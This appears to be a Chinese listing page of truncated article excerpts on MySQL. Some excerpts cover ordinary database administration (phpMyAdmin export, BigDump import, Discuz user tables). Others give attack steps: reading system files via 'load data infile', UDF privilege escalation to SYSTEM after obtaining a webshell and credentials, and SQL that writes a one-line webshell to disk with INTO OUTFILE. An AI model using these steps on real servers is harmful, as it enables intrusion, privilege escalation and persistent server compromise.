一、mysql3.x下  不确定mysql3.x下能否使用load_file()函数（我在mysql3使用手册上没有查到，但貌似是可以的），用 load data infile 读取文件，命令如下： mysql>create table a (cmd text); mysql>load data infile 'c:\\boot.ini' into table a; mysql>…

MYSQL的弱口令可以通过提权拿到系统权限，不过有个前提，就是知道目标主机账号和密码，才能进行提权。不过，WEBSHELL获得了，找mysql账号应该也不是什么难事 ...... 一般来说连接MYSQL的帐户密码非常好找，比如config.php、conn.php等，找到后先用SQL Query 测试连接，如图： 连接成功，现在开始将 Mix.dll& My_udf.dll 上传(Mix.…

一、功能 利用MYSQL的自定义函数功能（再次声明：利用MYSQL UDF提权绝非是溢出，而是MYSQL本身的一个功能），将MYSQL账号转化为系统system权限。 二、适用场合 1.目标系统是Windows(Win2000,XP,Win2003)； 2.你已经拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。 三、使用…

首先在原来的phpmyadmin中分两步导出mysql数据库 请分两个步骤导出 第一步：导出数据库结构。数据库结构文件一般很小，几乎不可能超过2M，所以可以直接在另外一个phpmyadmin的上面直接恢复； 第二步：导出数据内容。这个文件若是太大，则可以采用cosbeta写的程序进行恢复。 一、导出数据库结构 进入phpmyadmin，按照如下截图导出数据： 1.点击要导出的数据库名 2.点击导出…

先上图，以图为证，细节容后再表！

BigDump 数据库导入工具简介 BigDump 是由德国人 Alexey Ozerov 用 PHP 语言开发的一个工具脚本，它只有一个文件，名为 bigdump.php（你可以改名运行）。这个文件是独立运行的，因此与你的网站核心程序无关，不管是 WordPress，Drupal 还是 Joomla，只要你使用的是 MySQL 数据库，都可以用 BigDump 来恢复超大的 .sql 格式备份文…

问题一：用户不能登陆，需要激活 情况是这样的，我想将ID从2-20的用户名全部改成指定的，我是直接在phpmyadmin里面更改cdb_members 表的，结果更改完后，用户登陆失败，也没有什么特别的提示。于是去官方查了相关资料，恍然大悟，原来与之对应的ucenter还有一个用户表cdb_uc_members ，打开一看，果然，此表ID后的用户名却还是未更改前的，于是，我将此表用户名更改成与cd…

Drop TABLE IF EXISTS temp; //如果存在temp表就删掉 Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段 Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表 Select cmd from temp into out file '…